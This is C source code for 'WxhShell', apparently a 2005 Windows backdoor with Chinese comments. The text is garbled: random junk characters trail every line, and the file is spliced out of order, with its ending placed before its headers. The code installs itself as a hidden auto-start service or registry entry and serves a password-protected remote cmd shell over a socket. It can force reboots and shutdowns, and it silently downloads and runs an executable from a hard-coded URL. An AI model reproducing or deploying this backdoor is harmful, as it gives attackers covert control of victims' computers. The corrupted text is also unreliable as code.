    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d`}t!]Gg  
    else { ]Alv5?E60  
    closesocket(wsh); iJ&*H)}^  
    ExitThread(0); ku8C#%.m3  
    }  I&m C  
    break; ~AqFLv/%  
    } [&Yrnkgr  
  // 获取shell IE^xk@  
  case 's': { ><t4 f(d  
    CmdShell(wsh); 8>\tD  
    closesocket(wsh); J@ CKgE  
    ExitThread(0); F.]D\"0`  
    break; M<nKk#!+h  
  } ';>]7oT`  
  // 退出 gK_^RE9~  
  case 'x': { ]~YY#I":  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); , QB]y|:  
    CloseIt(wsh); Fv| )[>z0  
    break; 2LO8SJ#  
    } I34|<3t$  
  // 离开 8@$`'h^6  
  case 'q': { 8)Z)pCN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -~Ll;}nZC  
    closesocket(wsh); ]AB<OjF1c|  
    WSACleanup(); |\# ~  
    exit(1); jpGZ&L7i&  
    break; G\X}gqe(OJ  
        } 4p}?QR>tZ  
  } 0*=[1tdWY  
  } yi29+T7j4S  
UrMEL; @g  
  // 提示信息 n+'gVEBA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IqA'Vz,lL  
} b.N$eJlQ&  
  } [}mx4i  
JZ l"k  
  return; i9RAb tQ}  
} rpB0?h!$  
X[e:fW[e)  
// shell模块句柄 y7X2|$9z-  
int CmdShell(SOCKET sock) bjO?k54I  
{ ij=_h_nA  
STARTUPINFO si; ~K7$ZM  
ZeroMemory(&si,sizeof(si)); {Xjj-@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (9]8r2|.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V*Q!J{lj^#  
PROCESS_INFORMATION ProcessInfo; h/i L/Q=  
char cmdline[]="cmd"; io[>`@=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uht>@ WSg|  
  return 0; ehpU`vQz  
} }zO>y%eI  
rGn6S &-  
// 自身启动模式 N6>ert1  
int StartFromService(void) xlP0?Y1Bl  
{ K Y=$RO  
typedef struct ^b;3Jj  
{ 0XSMby?t`  
  DWORD ExitStatus; {%&!x;%  
  DWORD PebBaseAddress; 59@PY!c>  
  DWORD AffinityMask; S/2lK*F  
  DWORD BasePriority; _+aMP=H  
  ULONG UniqueProcessId; 1(diG&  
  ULONG InheritedFromUniqueProcessId; Q?g#?z&Pu\  
}   PROCESS_BASIC_INFORMATION; w$evAPuz^  
['%$vnS5S  
PROCNTQSIP NtQueryInformationProcess; pXhN?joe  
] >4CBm$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RSTA!?K/.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |uIgZ|7[  
,SF>$ .  
  HANDLE             hProcess; )Y](Mj!D  
  PROCESS_BASIC_INFORMATION pbi; EK%J%NY  
~_]i'ii8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3nbTK3,  
  if(NULL == hInst ) return 0; l:.q1UV  
Ai*+LSG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HOr.(gL!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k^{}p8;3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v[b|J7k  
]=%oBxWAP  
  if (!NtQueryInformationProcess) return 0; MwHxn%  
_, r6t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o]<@E uG  
  if(!hProcess) return 0; j9r%OZw{  
`gSJEq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2)\g IMt%  
u$Wv*;TT%  
  CloseHandle(hProcess); sLOkLz"x  
bCg)PJuB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rUW/d3y  
if(hProcess==NULL) return 0; 0PdX>h.t  
*v:o`{vM[  
HMODULE hMod; -d]v6q'1  
char procName[255]; 0 /)OAw"m  
unsigned long cbNeeded; i4dy0jfN  
fAT+x1J\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *JA0Vs 5  
?58*#'r  
  CloseHandle(hProcess); [NU@A>H  
c?%}J\<n  
if(strstr(procName,"services")) return 1; // 以服务启动 nj <nW5[  
G Tz>}@W  
  return 0; // 注册表启动 mcb|N_#n/  
} cR6Rb[9 N  
qir8RPW  
// 主模块 VfT@;B6ALF  
int StartWxhshell(LPSTR lpCmdLine) 1 uJpn  
{ p_EWpSOt7  
  SOCKET wsl; ] ]lN[J  
BOOL val=TRUE;  l3Wh&*0  
  int port=0;  *s%M!YM  
  struct sockaddr_in door; HXP/2&|JY  
u):Nq<X  
  if(wscfg.ws_autoins) Install(); FfM,~s<Efz  
v@1f,d  
port=atoi(lpCmdLine); v m.%)F#@  
ehV}}1>O  
if(port<=0) port=wscfg.ws_port; {O_`eS  
i{7Vh0n3S-  
  WSADATA data; j-k]|0ea}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lbj_ if;  
swfjKBfw+g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4CK$W` V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A,;[9J2\&  
  door.sin_family = AF_INET; av>Ff6w)Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .F]"%RK[  
  door.sin_port = htons(port); l~n=_R3  
KSR'X0'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X_(n  
closesocket(wsl); jMP;$w  
return 1; IQyw>_~]  
} m/"}Y]n!  
L rhQG  
  if(listen(wsl,2) == INVALID_SOCKET) { >@.:9}Z  
closesocket(wsl); $|o[l.q2  
return 1; t $u.  
} xsRu~'f  
  Wxhshell(wsl); uC5W1LyI  
  WSACleanup(); p&lT! 5P!A  
PcEE@W9  
return 0; jP )VTk_  
/MbWS(RT  
} 1v'|%B;O  
K}!YXy h  
// 以NT服务方式启动 XSktb k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L YMb)=u]  
{ )dF`L  
DWORD   status = 0; FJIo] p  
  DWORD   specificError = 0xfffffff; MmW]U24s  
 Eikt,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kj6@=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R[!%d6jDE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ze3sc$fG2  
  serviceStatus.dwWin32ExitCode     = 0; $sb `BS  
  serviceStatus.dwServiceSpecificExitCode = 0; 2T-3rC)  
  serviceStatus.dwCheckPoint       = 0; S<Uv/pn  
  serviceStatus.dwWaitHint       = 0; xX\A& 9m  
w!/|aZ~*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x-H R[{C  
  if (hServiceStatusHandle==0) return; %!V=noo  
T-.Bof(?w  
status = GetLastError(); ^dR gYi"(A  
  if (status!=NO_ERROR) V ee;&  
{ f=Kt[|%'e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~?:Xi_3Lo  
    serviceStatus.dwCheckPoint       = 0; mO @Sl(9  
    serviceStatus.dwWaitHint       = 0; VRvX^w0  
    serviceStatus.dwWin32ExitCode     = status; S !R:a>\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4@"n7/<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ya ~lPc  
    return; FfibR\dhY  
  } ~uweBp~O  
{AO`[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]MRQcqbpqL  
  serviceStatus.dwCheckPoint       = 0; $m0-IyXcv  
  serviceStatus.dwWaitHint       = 0; M%N_4j.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "/zDcZbL;  
} Kc {~Q  
4 moVS1  
// 处理NT服务事件,比如:启动、停止 Wf9K+my  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kg()C%#u  
{ #W[C;f|,  
switch(fdwControl)  2D"\Ox  
{ m.>y(TI  
case SERVICE_CONTROL_STOP: 7w5 L?,a  
  serviceStatus.dwWin32ExitCode = 0; \:_!!   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5dEek7wnf  
  serviceStatus.dwCheckPoint   = 0; <'92\O  
  serviceStatus.dwWaitHint     = 0; K&%YTA  
  { 9 p`|~^X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r]O8|#P,Z$  
  } )Ga 3Ji}'  
  return; W*Ce1  
case SERVICE_CONTROL_PAUSE: ZsL-vlv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q=.j>aM+_  
  break; -LMO f?  
case SERVICE_CONTROL_CONTINUE: ]tO9<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E@S5|CM  
  break; )jaNFJ 3  
case SERVICE_CONTROL_INTERROGATE: O<`\9  
  break; 82~ZPZG  
}; OojQG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hxj[gE'R(  
} n Y=]KU  
a3(q;^v  
// 标准应用程序主函数 H_+!.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6ZwFU5)QE/  
{ D3kx&AR  
etLA F  
// 获取操作系统版本 a?ii)GGq  
OsIsNt=GetOsVer(); w@\quy:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t?cO>4*|  
A]mXV4RmI  
  // 从命令行安装 7s'r3}B`  
  if(strpbrk(lpCmdLine,"iI")) Install(); uY*|bD`6&  
cT,5xp"a  
  // 下载执行文件 Odj4)   
if(wscfg.ws_downexe) { o_DZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "T'?Ah6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'X1fb:8m8  
} ` B71`  
h?2:'Vu]  
if(!OsIsNt) { OA\ *)c+F  
// 如果时win9x,隐藏进程并且设置为注册表启动 bF{14F$  
HideProc(); ]Qb85;0)  
StartWxhshell(lpCmdLine); `Pe WV[?  
} *kWrF* )J  
else B:QAG  
  if(StartFromService()) O)WduhlGQ  
  // 以服务方式启动 kpt 0spp  
  StartServiceCtrlDispatcher(DispatchTable); L?p,Sy<RI  
else d!]fou  
  // 普通方式启动 V;t8v\  
  StartWxhshell(lpCmdLine); /?Fa<{  
b|z_1j6U  
return 0; J#tY$PE  
} U,)@+?U+h  
~}F$1;t0  
JYU0&nZl4  
=/]d\JSp  
=========================================== Uq}-<q  
;~5w`F)  
}^Kye23  
STH?X] /  
qX?k]m   
`VxfAV?}  
" d)X6x-(  
d %Z+.O  
#include <stdio.h> CUo %i/R  
#include <string.h> 9x0Ao*D<t  
#include <windows.h> 60u}iiC@  
#include <winsock2.h> Sx%vJYH0  
#include <winsvc.h> Sxw%6Va]p  
#include <urlmon.h> hWqI*xSaJ  
1Ev#[FOc  
#pragma comment (lib, "Ws2_32.lib") t/9,JG  
#pragma comment (lib, "urlmon.lib") y 2v69nu~q  
~Q)137u]P  
#define MAX_USER   100 // 最大客户端连接数 8!uqR!M<C  
#define BUF_SOCK   200 // sock buffer  'WW['  
#define KEY_BUFF   255 // 输入 buffer .^J7^ Ky,  
d5ivtK?  
#define REBOOT     0   // 重启 j*aYh^  
#define SHUTDOWN   1   // 关机 7JI&tlR4\c  
BXf.^s{H  
#define DEF_PORT   5000 // 监听端口 ;\5^yDv[e  
&\0V*5tI  
#define REG_LEN     16   // 注册表键长度 [rt+KA  
#define SVC_LEN     80   // NT服务名长度 M)oJ06`K  
%7*Y@k-)o  
// 从dll定义API 5%E.UjC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yIdM2#`u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ltt+BUJc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^?3e?Q?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ird q51{G  
 Py)'%e  
// wxhshell配置信息 uBe1{Z  
struct WSCFG { xe3t_y  
  int ws_port;         // 监听端口 "T_OLegdK  
  char ws_passstr[REG_LEN]; // 口令 "/-T{p;.  
  int ws_autoins;       // 安装标记, 1=yes 0=no TdAHw @(  
  char ws_regname[REG_LEN]; // 注册表键名 -UM5&R+o  
  char ws_svcname[REG_LEN]; // 服务名 @9!,]n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !MiH^wP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V\V:uo(C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ] EzX$T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mfNYN4Um6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *?#t (Y[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,^_aqH  
 p|D-ez8  
}; jJmg9&^R  
/}Z0\ ,  
// default Wxhshell configuration h*qoe(+ZD  
struct WSCFG wscfg={DEF_PORT, |# zznT"  
    "xuhuanlingzhe", m j{ /'  
    1, cO#e AQf7  
    "Wxhshell", y ~ A]  
    "Wxhshell", GoGo@5n(Z  
            "WxhShell Service", j aj."v  
    "Wrsky Windows CmdShell Service", `euk&]/^.)  
    "Please Input Your Password: ", +=y ktf  
  1, ms%Ot:uA  
  "http://www.wrsky.com/wxhshell.exe", o9:GKc  
  "Wxhshell.exe" F+`DfI]/m  
    }; 3??*G8Yp  
om"q[Tudc  
// 消息定义模块 m*h, <,}-+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OudD1( )W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qhd~4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bpjwc<U  
char *msg_ws_ext="\n\rExit."; J@{yWgLg  
char *msg_ws_end="\n\rQuit."; $cLtAo^W  
char *msg_ws_boot="\n\rReboot..."; S;"7d  
char *msg_ws_poff="\n\rShutdown..."; .kT5 4U;{  
char *msg_ws_down="\n\rSave to "; A|BvRZd  
{GS7J  
char *msg_ws_err="\n\rErr!"; `NC{+A  
char *msg_ws_ok="\n\rOK!"; p[QF3)9F  
su`] l"[,]  
char ExeFile[MAX_PATH]; !Z7 ~R sdm  
int nUser = 0; ql%>)k /x  
HANDLE handles[MAX_USER]; VvwQz#S  
int OsIsNt; "/).:9],}  
9^m&  [Z  
SERVICE_STATUS       serviceStatus; SR#%gR_SC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xf.w( -  
KB,!s7A  
// 函数声明 ]3iu-~  
int Install(void); |4i,Vkfhe  
int Uninstall(void); $ V"~\h8  
int DownloadFile(char *sURL, SOCKET wsh);  _"ysJ&  
int Boot(int flag); \jdpL1  
void HideProc(void); EiY i<Z_S  
int GetOsVer(void); ba?]eK   
int Wxhshell(SOCKET wsl); 13]sZ([B%|  
void TalkWithClient(void *cs); vXnTPjbE  
int CmdShell(SOCKET sock); ;X u&['  
int StartFromService(void); )T6+}   
int StartWxhshell(LPSTR lpCmdLine); ,/\%-u? 1x  
|5}{4k~9J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a4 g~'^uC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0;Y_@UVj  
LB1.N!q1  
// 数据结构和表定义 m7 !Fb  
SERVICE_TABLE_ENTRY DispatchTable[] = Q:]F* p2  
{ 1anV!&a<K(  
{wscfg.ws_svcname, NTServiceMain}, {Ex0mw)T  
{NULL, NULL} P X](hc=  
}; _4z>I/R>Z  
g]C+uj^  
// 自我安装 zxCxGT\;  
int Install(void) nTSGcMI  
{ %D z|p]49!  
  char svExeFile[MAX_PATH]; %ma1LN[  
  HKEY key; XcA4EBRj  
  strcpy(svExeFile,ExeFile); S ~lw5  
uU`zbh}]L.  
// 如果是win9x系统,修改注册表设为自启动 (tEW#l'}  
if(!OsIsNt) { KM|[:v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S<Q6b_D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6^zuRY;  
  RegCloseKey(key); R|{6JsjG10  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]"^GRFK5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (jCE&'?}  
  RegCloseKey(key); EkV v  
  return 0; nX>k}&^L  
    } /Mf45U<  
  } L iJ;A*  
} io:?JnQSA  
else { &hs)}uM&$  
GZ@!jF>!u  
// 如果是NT以上系统,安装为系统服务 knypSgk_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K:P gkc  
if (schSCManager!=0) oZ%t!Fl1  
{ rQK2&37-,@  
  SC_HANDLE schService = CreateService tiwhG%?2  
  ( Y( /VW&K&:  
  schSCManager, (~{7e/)r  
  wscfg.ws_svcname, `c{i +  
  wscfg.ws_svcdisp, qO>BF/)a(  
  SERVICE_ALL_ACCESS, 2:i`,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *D]/V U  
  SERVICE_AUTO_START, kaUH#;c>_  
  SERVICE_ERROR_NORMAL, 4 !~JNO  
  svExeFile, ;4XX8W1  
  NULL, XLFJ?$)Tro  
  NULL, ~@R=]l"  
  NULL, %@*diJ  
  NULL, hdN3r{  
  NULL \u,hS*v0  
  ); uZId.+Rk  
  if (schService!=0) g}' "&Y  
  { &cDnZ3Q;  
  CloseServiceHandle(schService); pz?.(AmU\  
  CloseServiceHandle(schSCManager); sJ?Fque  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9ZG.%+l  
  strcat(svExeFile,wscfg.ws_svcname); xgJ2W_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &#g;=jZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?aogdK$V  
  RegCloseKey(key); m+DkO{8F  
  return 0; f? [y-  
    } y S7[=S  
  } [F+lVb  
  CloseServiceHandle(schSCManager); yXrFH@3  
} H@__%KBw  
} +t/ VF(!  
~mK9S^[  
return 1; KWy4}7a@,s  
} MsX`TOyO!  
E'Egc4Z2=l  
// 自我卸载 )1J&tV*U  
int Uninstall(void) !=cW+=1  
{ jbC7U9t7  
  HKEY key; CbS9fc&  
|,t#Au}61  
if(!OsIsNt) { fVo)# Bj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y.F:1<FAtf  
  RegDeleteValue(key,wscfg.ws_regname); sxnj`z  
  RegCloseKey(key); Tp[ub(/;7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $CHr i|  
  RegDeleteValue(key,wscfg.ws_regname); sEe^:aSN  
  RegCloseKey(key); <J{VTk ~  
  return 0; GIo&zPx  
  } 5x4JDaG2  
} E+>Qpy  
}  z{``v|K  
else { 6!Ji-'\"  
;2)@NH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t1g)Y|@d  
if (schSCManager!=0) A(Ugam~}  
{ J h M.P9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N}VKH5U|  
  if (schService!=0) 3HFsR)  
  { RH6qi{)i!  
  if(DeleteService(schService)!=0) { sqJ?dIBH  
  CloseServiceHandle(schService); *'PG@S  
  CloseServiceHandle(schSCManager); Jan73AOX  
  return 0; '(&.[Pk:"  
  } 6BLw 4m=h  
  CloseServiceHandle(schService); XL g6?Nu  
  } _hAp@? M  
  CloseServiceHandle(schSCManager); OPBnU@=R  
} q%Obrk  
} M<~z=B#  
~naL1o_FZ  
return 1; h+CTi6-p  
} ,V.X-`Y  
5sFp+_``  
// 从指定url下载文件 %@kmuz??  
int DownloadFile(char *sURL, SOCKET wsh) V8`t7[r  
{ MPT*[&\-  
  HRESULT hr; 2m[z4V@`  
char seps[]= "/"; E]6;nY?  
char *token; C:l /%   
char *file; hqD]^P>l1  
char myURL[MAX_PATH]; C{-e(G`Yd  
char myFILE[MAX_PATH]; B Lw ssr.  
zg0)9 br  
strcpy(myURL,sURL); P8).Qn  
  token=strtok(myURL,seps); Kt;h'?  
  while(token!=NULL) _CciU.1k&,  
  { 536H*HdN  
    file=token; x<~ pqq8]  
  token=strtok(NULL,seps); j2=jD G  
  } b,]h X  
^4_.5~(  
GetCurrentDirectory(MAX_PATH,myFILE); j1Q G-Rs&  
strcat(myFILE, "\\"); AnP7KSN[\  
strcat(myFILE, file); &#w] 2~|  
  send(wsh,myFILE,strlen(myFILE),0); N'i%9SBcg  
send(wsh,"...",3,0); a5:YP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o[O-|XL_  
  if(hr==S_OK) F%+/j5~^  
return 0; I|n<B"Q6^  
else @i$9c)D  
return 1; =UM30 P/  
2}/Z.)^Q  
} 'n#;~  
uqXvN'Jr  
// 系统电源模块 4! XB?-.  
int Boot(int flag) ow>^(>^~  
{ Ym8G=KA  
  HANDLE hToken; O0i_h<T  
  TOKEN_PRIVILEGES tkp; o(u&n3Q'  
'_@Y  
  if(OsIsNt) { [ C,<Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jY(' ?3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fJH09:@^%  
    tkp.PrivilegeCount = 1; vjhd|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0V1)ou84'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xw&[ 9}Y  
if(flag==REBOOT) { [YpSmEn}Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?76Wg::  
  return 0; 0 gL]^_+7  
} x$[<<@F%  
else { h*Rh:yCR>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *}-X '_  
  return 0; I_6?Q^_uZ  
} <_dyUiT$J  
  } Yo/U/dB  
  else { \|F4@  
if(flag==REBOOT) { hJ (Q^Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5IOOVYl  
  return 0; ` {gkL-  
} lQ<2Vw#Yl  
else { +\fr3@Yc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =!*e; L  
  return 0; j#f+0  
} C\ZL*,%}  
} xdd7OSc0{  
0~iC#lHO  
return 1; rr>QG<i;G  
} iKnH6} `?U  
r`qMif'  
// win9x进程隐藏模块 w4Qqo(  
void HideProc(void) [2pp)wq  
{ 6iV jAxR  
'_lyoVP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L'BDS*  
  if ( hKernel != NULL ) yM}}mypS  
  { XZEawJ0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IEfzu L<v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2?u>A3^R  
    FreeLibrary(hKernel); n (7m  
  } gPSUxE `O.  
=Mzg={)v  
return; cv=nGFx6  
} l"5$6h  
s:'M[xI  
// 获取操作系统版本 ZR.1SA0x?O  
int GetOsVer(void) [^EU'lewnW  
{ d rnqX-E;  
  OSVERSIONINFO winfo; 5+vCuVZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Zr5I";  
  GetVersionEx(&winfo); ;5:g%Dt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,24NMv7  
  return 1; zl F*F8>m  
  else L$=@j_V2  
  return 0; ]( V+ qj  
} [R+zzl&Zw  
r(y1^S9!8  
// 客户端句柄模块 !rZO~a0  
int Wxhshell(SOCKET wsl) |R8=yO%(  
{ (~:k70V5  
  SOCKET wsh; *%l&'+   
  struct sockaddr_in client; zpV@{%VSj  
  DWORD myID; 9I0/KuZd O  
:y==O4  
  while(nUser<MAX_USER) ]sjYxe  
{ ^m;dEe&@F  
  int nSize=sizeof(client); #~3x^ 4Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M lgE-Lm  
  if(wsh==INVALID_SOCKET) return 1; 3UU]w`At  
o,[~7N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #H{<nVvg^  
if(handles[nUser]==0) S+py \z%  
  closesocket(wsh); t j&+HC  
else :@jhe8'w  
  nUser++; SweaE Rl  
  } LTj;e[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fu?5gzT+b  
nF~</>  
  return 0; ,Xs%Cg_Ig  
} vo )pT  
X&o!xV -+  
// 关闭 socket [t*m$0[:  
void CloseIt(SOCKET wsh) \kqa4{7U(  
{ 3G9"La,b  
closesocket(wsh); |7,|-s[R^  
nUser--; no- Lx-x  
ExitThread(0); , mEFp_a+  
} %;yDiQ!+  
34-QgE  
// 客户端请求句柄 >8_#L2@  
void TalkWithClient(void *cs) ,B%M P<Rz1  
{ 5tT-[mQ*  
agQzA/Xt  
  SOCKET wsh=(SOCKET)cs; 0L"CM?C  
  char pwd[SVC_LEN]; j!q5Bc?  
  char cmd[KEY_BUFF]; ZHUA M59bx  
char chr[1]; qg#TE-Y`  
int i,j; lc>)7UF  
aDFu!PLB{)  
  while (nUser < MAX_USER) { |7n&I`#  
=]&?(Gq  
if(wscfg.ws_passstr) { $C0Nv Jf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _+g5;S5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b/Y9fQ n  
  //ZeroMemory(pwd,KEY_BUFF); }dw`[{cm  
      i=0; :_JZn`Cab  
  while(i<SVC_LEN) { }c1Vu  
1{4d)z UB  
  // 设置超时 hO(8v&ns3  
  fd_set FdRead; s:lar4>kM  
  struct timeval TimeOut; JIvVbI  
  FD_ZERO(&FdRead); 3dfG_a61y  
  FD_SET(wsh,&FdRead); t5mI)u  
  TimeOut.tv_sec=8; .Gq.st%  
  TimeOut.tv_usec=0; ]UKKy2r.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LO]D XW 9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nv "R'Pps  
`}.K@17  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h=SQ]nV{  
  pwd=chr[0]; } [}u5T`w>  
  if(chr[0]==0xd || chr[0]==0xa) { "}Kvx{L8  
  pwd=0; 2K<rK(  
  break; i)f3\?,,  
  } ]'V8{l  
  i++; )tR5JK} AV  
    } @;kw6f:{d  
pg~vteq5  
  // 如果是非法用户,关闭 socket ?g%5 d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E]w1!Ah M  
} 'Wjuv9)/  
H `y.jSNi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v1<gNb)`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 tkj:8_  
&?>h#H222  
while(1) { K];nM}<  
O-Hu:KuIf  
  ZeroMemory(cmd,KEY_BUFF); I\DmVc\l  
T:o!H Xdj^  
      // 自动支持客户端 telnet标准   :zfnp,Gv  
  j=0; v#&r3ZW0  
  while(j<KEY_BUFF) { _ _cJ+%e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~E-YXl9  
  cmd[j]=chr[0]; ,!t1( H  
  if(chr[0]==0xa || chr[0]==0xd) { B04%4N.g"X  
  cmd[j]=0; %41dVnWB^4  
  break; 6l&m+!i  
  } & i"33.#]  
  j++; jm&?;~>O  
    } c+?L?s`"  
},'hhj]O  
  // 下载文件 6cz%>@  
  if(strstr(cmd,"http://")) { =2uE\6Fl,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (q`Jef  
  if(DownloadFile(cmd,wsh)) 5r"BavA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\=gps/Z  
  else !t "uNlN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 11}sRu/  
  } Hn)K;?H4  
